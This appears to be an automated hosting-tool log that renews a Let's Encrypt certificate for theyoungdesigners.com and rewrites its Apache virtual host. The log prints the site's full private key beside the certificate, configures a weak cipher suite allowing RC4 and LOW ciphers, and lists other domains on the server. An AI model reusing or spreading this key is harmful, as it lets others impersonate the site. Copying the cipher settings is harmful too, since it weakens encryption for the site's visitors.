MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-01 06:00:02: Establishing a connection
2026-04-01 06:00:02: Establishing a connection
2026-04-01 06:00:02: 

PUT: /tmp/pkp393730

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_com/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-01 06:00:04: 

chmod 755 /tmp/pkp393730; /tmp/pkp393730; rm /tmp/pkp393730

2026-04-01 06:00:04: 


1


2026-04-01 06:00:05: Establishing a connection
2026-04-01 06:00:05: 

PUT: /tmp/pkp555865

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cat > 4NEBQ3z8NIabNjB3vtVbkQLbNcAwPrCA69ZHAKALS_Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4NEBQ3z8NIabNjB3vtVbkQLbNcAwPrCA69ZHAKALS_Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4NEBQ3z8NIabNjB3vtVbkQLbNcAwPrCA69ZHAKALS_Y
cat > b4nVyB23-ud5qCh7X8ptM8MQRJTYDgx8rEBUE5-dEEQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
b4nVyB23-ud5qCh7X8ptM8MQRJTYDgx8rEBUE5-dEEQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 b4nVyB23-ud5qCh7X8ptM8MQRJTYDgx8rEBUE5-dEEQ


2026-04-01 06:00:05: 

chmod 755 /tmp/pkp555865; /tmp/pkp555865; rm /tmp/pkp555865

2026-04-01 06:00:05: 




2026-04-01 06:00:16: Establishing a connection
2026-04-01 06:00:17: 

PUT: /tmp/pkp164393

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
rm 4NEBQ3z8NIabNjB3vtVbkQLbNcAwPrCA69ZHAKALS_Y
rm b4nVyB23-ud5qCh7X8ptM8MQRJTYDgx8rEBUE5-dEEQ


2026-04-01 06:00:17: 

chmod 755 /tmp/pkp164393; /tmp/pkp164393; rm /tmp/pkp164393

2026-04-01 06:00:17: 




2026-04-01 06:00:17: Establishing a connection
2026-04-01 06:00:17: 

PUT: /tmp/pkp126971

#!/bin/bash
temp_file=$(mktemp)
TARGET=2deaf2826866ca8d93ba58b86ef107a6.crt

cat > $temp_file <<'endmsg'
2d:e0:03:cc:e7:dc:a3:2d:78:fd:dc:31:1d:bc:a3:c1

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBi+Hed5sphabADJx0UgcH6UxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDAxMDUwMTQ1WhcNMjYwNjMwMDUwMTQ0WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC+xT/Nzg4XKyCdVMWFN4oyhk/1SbeKD+ZLe6zC+XT8e5LdHZf4c9jf
6vPlE7r81psAp++MOTbNhO9wH1qNuX0raBPtvtbdmySd9VFGOs0xzx8Rk8oo6jxg
7yKlR86vhoyzo8F7ytTZ6/fQluPFlKxrepQVprnNFYi17p9sEAXFrmmYMw6pg4hV
LrcoGp5cgZLavqXeG4EykdeXOI5AV0xKtL+y0sUQH9TgiqqMpqUVuedIYG7WZOqB
DI24RU+pV+fznfN1ystFnnUhocX65ePpVQN/9JRJrqtoElwNQQVRrWrEX/BnCyT6
t5uUu4lDS9O0JJxgBfup4Pj9xApzZC0RAgMBAAGjggJAMIICPDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUEQAHLMFntTw5DYDv2ZHGiGEwpdswHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghV0aGV5b3VuZ2Rlc2lnbmVycy5jb22C
GXd3dy50aGV5b3VuZ2Rlc2lnbmVycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy81MC5jcmww
ggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak
8zZuRqQ/D8qpxgAAAZ1HoNLrAAAEAwBIMEYCIQDXwIANs1MkrJSTt1JKM5tTACSO
QYhSJhwbrSV8LU1B7wIhANZKZqxnW2RYraBkrOrwsNLAC0BsNIGv6pPh7YDgYNEe
AH8AGoudaUpXmMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGdR6DWnAAIAAAF
AFoKAmsEAwBIMEYCIQCQ4Zt6wBl5gPB/PJ9qLCrTQgedLXUDuL2+vEh8ye+EdwIh
AM/Z+tDdipN2MxRnA4iAwHMaS3X6+yeUl6eK7GBEI/dOMA0GCSqGSIb3DQEBCwUA
A4IBAQBQyz+tV4ggcQQNc963BdTWOh/umcdjOiPaptKxoCR10dDXav8qQu9LuCoa
Uy4YadpFEVBx4xQ+LOqrXchSeSVsmbggms0yZvUbvDj+j6DIXdzKkaCcspUJ8Ccd
bo2DBoGqrlaK4+rOYndRMIJL9QWu9tHAK2tbE1az/L3mvkWGiSm0s9bgYEUVxmu+
VQTuOZrfRP9S9HpKgZ/xhvfMxEVNsurf+oDfzYttVrskbDGmVCzkXyyvjKO5Wd6r
1uJ6i2cSIaGssyuSj6sC9tQtsvHcxrWtnMP25liHx2xBGuU49f77lflfBTv3Os2W
jYfoTjY7LcDJBQDsa/YBo59BfrxS
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+xT/Nzg4XKyCd
VMWFN4oyhk/1SbeKD+ZLe6zC+XT8e5LdHZf4c9jf6vPlE7r81psAp++MOTbNhO9w
H1qNuX0raBPtvtbdmySd9VFGOs0xzx8Rk8oo6jxg7yKlR86vhoyzo8F7ytTZ6/fQ
luPFlKxrepQVprnNFYi17p9sEAXFrmmYMw6pg4hVLrcoGp5cgZLavqXeG4EykdeX
OI5AV0xKtL+y0sUQH9TgiqqMpqUVuedIYG7WZOqBDI24RU+pV+fznfN1ystFnnUh
ocX65ePpVQN/9JRJrqtoElwNQQVRrWrEX/BnCyT6t5uUu4lDS9O0JJxgBfup4Pj9
xApzZC0RAgMBAAECggEABj2tuK3lCB0BFCSR0anfe4epVfzzZDDg99cz76z5hskE
JPey4Q3pKmolUHk0xNDAgWT9ETlN8atHqgNckwZece0VudFkdht9Ny2vWvzRea+s
9IZBNtVy5DjuiTmwKU3djILu8X3ROM/fa5OEIBKdEWcRMSQjL/JkZo9H5+EeTzk2
5W4/2xvJsmp3ap9IoP6gw/GA5KVo+edJLi3CX12aUP68v7/yIzp3v8M+HpcDFqGI
DXPlkz1OutzbuzthRFOJRiNA12X+uPE6DK/APFL8yutzyWOVPg6hgZtSG/vYIypq
V9+dD8VujnRMN9O4Q617UhpN7mder6n7XX5coKIAAQKBgQD8E0TrZd2J9y+MIrl6
YySaeKdZeH0ir1EffSy5ibQmRse3tmaGMDnCICkDl6ow3gKLuZB5LMNf+SwqD6+w
eEWr4AdAI3NBKpvreWMq2twJu/yNOE+sgUBRX+7SOTLQ3i0S9r//Ya8RuvMSyLft
Qp9eoRaF7mEx/WVw5RjAXvDsgQKBgQDBvaEWrydUjULFKODAmPlqs/gnXTlmPIjy
rFJzn7cB4l4EWITbJv2ZK/brg6gxoiZSIH1y5mvQPeVVUcPkALyNEhfHEJIIUmtB
TzGZru/tiBAE/EG5vIGCH3FsTKh1hk0O7tLvLxd/rjueRkpI+FiEaFqAY6M5jOFg
/qv9yDI4kQKBgQCtwMKC2AZq8R2vJMhg2jIC4CPKgkkPPXVXlTrc8VRiBevocCwf
VuKZMv3SYhqH8KAkm9ZAEGDjqKeOnp1lsKGlpZiZ11W8l5g+Kb/3bEC73P5qgWQ5
7iXdcZj3A0JJwrujFL6nVDgOqqSeUAin3IJqAfO6geQxRw9DUEdNYqQDAQKBgAb2
/jeGjG9ptKDJ22qRFUZUufMQUuPuAS5YK46kizuyG5ckZ4JJYIyFHBdTYFSIc8A4
EspypiWSVBBBJD2qGR0pLVmmqtlJvTlX03ym4VE0tv624tX+hNlcsAMorlWrQlHr
HAIlOz8H0HTcKgd9hhEcf0RmUJPdEK0f+qbg741BAoGBAMy93shJ84U4akf09oYG
yWf8H04vWqZeGFRlEgzg/a8vJTUIVvqVuPFBAiqWOyMUbCLqERKvepVHy3/AiAlo
FhZGNcOWNc9n3GbLbFDOXwyXmYhrSTdipCGG49xeI9lmv1r8zUp1HEhO7PhIM/s8
UyQeVVpGw1SFWGzqP/UHIMOW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-01 06:00:17: 

chmod 755 /tmp/pkp126971; /tmp/pkp126971; rm /tmp/pkp126971

2026-04-01 06:00:17: 


dir=/etc/ssl/certs


2026-04-01 06:00:17: 

PUT: /tmp/pkp605128

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-01 06:00:17: 

chmod 755 /tmp/pkp605128; /tmp/pkp605128; rm /tmp/pkp605128

2026-04-01 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf 49

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-01 06:00:17: 

PUT: /tmp/pkp452264

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_com.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf= 1'
fi


2026-04-01 06:00:17: 

chmod 755 /tmp/pkp452264; /tmp/pkp452264; rm /tmp/pkp452264

2026-04-01 06:00:17: 




2026-04-01 06:00:17: 

PUT: /tmp/pkp559449

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-01 06:00:17: 

chmod 755 /tmp/pkp559449; /tmp/pkp559449; rm /tmp/pkp559449

2026-04-01 06:00:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-01 06:00:18: Establishing a connection
2026-04-01 06:00:18: 

PUT: /tmp/pkp643799

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-01 06:00:18: 

chmod 755 /tmp/pkp643799; /tmp/pkp643799; rm /tmp/pkp643799

2026-04-01 06:00:18: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-01 06:00:18: 

PUT: /tmp/pkp866546

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-01 06:00:18: 

chmod 755 /tmp/pkp866546; /tmp/pkp866546; rm /tmp/pkp866546

2026-04-01 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
